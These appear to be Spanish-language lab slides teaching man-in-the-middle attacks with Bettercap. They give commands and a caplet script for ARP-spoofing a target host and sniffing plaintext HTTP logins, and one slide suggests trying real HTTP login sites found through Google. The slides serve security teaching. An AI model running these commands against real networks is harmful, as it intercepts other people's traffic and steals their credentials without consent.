Tema 2
Ataques man in the middle

Ataques man in the middle

Bettercap

Bettercap

- **Instalación**
  - sudo apt install bettercap
  - bettercap (--iface etho, pero no es necesario, solo si tenemos varias tarjetas)
  - help
  - net.probe on (y hace un netdiscover)
  - net.show

Bettercap

- **Ataques man in the middle con bettercap**
- Hay un módulo llamado arp.spoof
  - help arp.spoof (fijarse también que hay un arp.ban on para matar conexiones)
  - arp.spoof.fullduplex – así no hace falta dar la ip del router, la pilla automáticamente (set arp.spoof.fullduplex true)
  - Recordad lo que hicimos con el arpspoof, que teníamos que abrir dos terminales para envenenar los dos extremos

Bettercap

- **Ataques man in the middle con bettercap**
  - set arp.spoof.targets 192.168.1.18 (la 192.168.1.1 la pilla automáticamente por lo que se ha dicho antes)
  - Ver las IPs de los objetivos de net.show para ver las posibles víctimas a las que podemos envenenar
  - arp.spoof on

Bettercap

- **Comprobación**
  - Ver arp -a en la víctima, para ver cómo se envenena la caché arp
  - Comprobar que la MAC correspondiente a la IP del router es mi MAC (la MAC del atacante)

Bettercap

- **Espiar las conversaciones**
- net.sniff on
- Como antes, ir a vulnweb.com
- Ir al primer enlace y clic en login (arriba derecha, vale cualquier usuario y cualquier contraseña)
- Esto mandará la password sin cifrar puesto que no es https y podremos verlo en bettercap.
- Si no buscar un login http website en Google (CELFI por ejemplo)

Bettercap

- **Automatizar todos los pasos**
- Vamos a crear un script con todos estos pasos para no tener que meterlos uno a uno cada vez que queramos hacer un ataque
- Primero creo un fichero llamado por ejemplo spoof.cap con el editor nano (da igual el nombre y el editor que uséis)

Bettercap

- Escribimos las órdenes que hemos hecho hasta ahora
- net.probe on
- arp.spoof.fullduplex
- set arp.spoof.targets 192.168.1.18
- arp.spoof on
- net.sniff on

Bettercap

- Ejecuto el script desde bettercap:
- Para ello ver bettercap –help
  - opción –caplet
- Sintaxis:
- bettercap -iface wlan0 -caplet ~/spoof.cap
  (cuidado con la ruta donde está guardado el script)
- help (y veo los módulos que están activos)
- Probarlo para ver que funciona navegando o haciendo un login en http desde la víctima como hicimos antes